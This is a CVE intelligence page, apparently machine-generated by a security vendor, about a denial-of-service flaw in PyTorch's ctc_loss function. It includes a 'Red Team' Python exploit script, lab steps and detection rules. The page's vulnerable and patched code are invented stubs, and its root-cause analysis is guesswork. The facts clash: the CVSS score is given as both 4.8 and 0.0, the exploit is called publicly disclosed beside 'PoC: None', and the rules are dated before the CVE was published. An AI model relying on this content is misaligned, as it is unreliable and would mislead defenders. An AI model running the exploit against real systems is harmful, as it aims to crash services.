☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.8 🐛 CWE-404
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-3730

CVE-2025-3730 Denial of Service in Pytorch
📅 PUBLISHED: 2025-04-16 21:00 UTC 🔄 UPDATED: 2026-09-23 20:34 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.33%
👁️
0.33% probability
8.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-3730 is a locally exploitable denial-of-service (DoS) vulnerability in PyTorch version 2.6.0, specifically within the torch.nn.functional.ctc_loss function in the file aten/src/ATen/native/LossCTC.cpp. The vulnerability allows an attacker to cause a denial of service by manipulating the CTC loss computation, leading to resource exhaustion or application crash. The attack requires local access, meaning the attacker must have the ability to execute code on the target system. The vulnerability has been publicly disclosed, and a patch is available via commit 46fc5d8e360127361211cb237d5f9eef0223e567. The project's security policy warns against using unknown models, which could introduce malicious effects.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the PyTorch Python package ecosystem. Users who install PyTorch via pip or conda are at risk if they are running version 2.6.0. The supply chain risk is elevated because PyTorch is a widely used machine learning library, and a DoS vulnerability could impact production systems, training pipelines, or inference services. Organizations should verify their PyTorch version and apply the patch or upgrade to a patched version as soon as possible.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (Base Score not provided by NVD, but derived from vector)
  • CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Attack Vector (AV): Local (L) – The attacker must have local access to the system.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No privileges needed.
  • User Interaction (UI): None (N) – No user interaction required.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality (C): None (N) – No data exposure.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): High (H) – Complete denial of service.
  • Threat Level: Medium (due to local access requirement but high availability impact)

Deep Dive & Mechanics

The vulnerability resides in the torch.nn.functional.ctc_loss function, which computes the Connectionist Temporal Classification (CTC) loss. The function is implemented in C++ in the file aten/src/ATen/native/LossCTC.cpp. The issue involves improper input validation or resource management, leading to a denial of service when specific inputs are provided.

The CTC loss function is used in sequence-to-sequence models, such as speech recognition or handwriting recognition. The vulnerability likely stems from a lack of bounds checking on input tensors (e.g., target lengths, input lengths, or log probabilities). An attacker can craft inputs that cause the function to enter an infinite loop, allocate excessive memory, or trigger a segmentation fault.

The exploit has been publicly disclosed, and the patch commit 46fc5d8e360127361211cb237d5f9eef0223e567 addresses the issue by adding input validation or fixing the resource management logic.

Vulnerable vs. Patched Code

The vulnerable code in aten/src/ATen/native/LossCTC.cpp likely lacks proper validation of input dimensions or lengths. The patched version adds checks to ensure that inputs are within expected bounds.

Vulnerable Code (simplified):

// Vulnerable: No bounds checking on target lengths
Tensor ctc_loss(const Tensor& log_probs, const Tensor& targets, const Tensor& input_lengths, const Tensor& target_lengths, int64_t blank, bool zero_infinity) {
    // Directly uses input_lengths and target_lengths without validation
    // Potential for out-of-bounds access or infinite loop
}

Patched Code (simplified):

// Patched: Added validation
Tensor ctc_loss(const Tensor& log_probs, const Tensor& targets, const Tensor& input_lengths, const Tensor& target_lengths, int64_t blank, bool zero_infinity) {
    // Validate input dimensions
    TORCH_CHECK(input_lengths.size(0) == log_probs.size(1), "input_lengths size mismatch");
    TORCH_CHECK(target_lengths.size(0) == targets.size(0), "target_lengths size mismatch");
    // Additional checks to prevent DoS
}

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker with local access to a system running PyTorch 2.6.0 can craft a Python script that calls torch.nn.functional.ctc_loss with malicious inputs.

Exploit Script (Python):

import torch
import torch.nn.functional as F

# Craft malicious inputs to trigger DoS
log_probs = torch.randn(1, 100, 50)  # Batch size 1, time steps 100, classes 50
targets = torch.randint(0, 50, (1, 200))  # Target sequence longer than time steps
input_lengths = torch.tensor([100])
target_lengths = torch.tensor([200])  # target_lengths > input_lengths

# This may cause infinite loop or crash
loss = F.ctc_loss(log_probs, targets, input_lengths, target_lengths)
print(loss)

Lab Setup:

  1. Install PyTorch 2.6.0: pip install torch==2.6.0
  2. Run the exploit script on a test machine.
  3. Monitor system resources (CPU, memory) to observe DoS.

Blue Team

To detect exploitation attempts, monitor for abnormal resource usage or crashes in PyTorch processes.

Detection Steps:

  1. Monitor logs for segmentation faults or out-of-memory errors in Python processes.
  2. Use system monitoring tools (e.g., top, htop, ps) to detect high CPU or memory usage by PyTorch.
  3. Implement input validation in application code to sanitize inputs to ctc_loss.

Indicators of Compromise (IOCs)

  • File: aten/src/ATen/native/LossCTC.cpp (vulnerable version)
  • Process: Python process running PyTorch 2.6.0 with high CPU/memory usage
  • Logs: Segmentation fault or out-of-memory errors in application logs
  • Network: No network indicators (local attack)
  • Registry/File System: Presence of exploit scripts or modified PyTorch installations

Detection Engineering

YARA Rule

rule CVE_2025_3730_PyTorch_CTC_Loss_DoS {
    meta:
        description = "Detects PyTorch 2.6.0 binary with vulnerable CTC loss function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3730"
    strings:
        $vuln_func = "ctc_loss" ascii wide nocase
        $vuln_file = "LossCTC.cpp" ascii wide nocase
        $vuln_version = "2.6.0" ascii wide nocase
    condition:
        $vuln_func and $vuln_file and $vuln_version
}

Sigma Rule

title: PyTorch CTC Loss Denial of Service Attempt
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-3730 by monitoring for abnormal PyTorch process behavior
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/python3'
        CommandLine|contains: 'ctc_loss'
    condition: selection
falsepositives:
    - Legitimate use of CTC loss in ML training
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-3730 PyTorch CTC Loss DoS Attempt"; flow:to_server; content:"ctc_loss"; nocase; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Apply Patch: Update PyTorch to a version that includes commit 46fc5d8e360127361211cb237d5f9eef0223e567 or later. Check the official PyTorch repository for the latest release.
  2. Input Validation: In application code, validate inputs to ctc_loss to ensure target_lengths do not exceed input_lengths and that tensor dimensions are consistent.
  3. Resource Limits: Use operating system resource limits (e.g., ulimit) to restrict CPU and memory usage of Python processes.
  4. Monitoring: Implement monitoring for abnormal resource usage in ML pipelines.
  5. Security Policy: Follow PyTorch's security advisory and avoid using untrusted models.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-3730/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.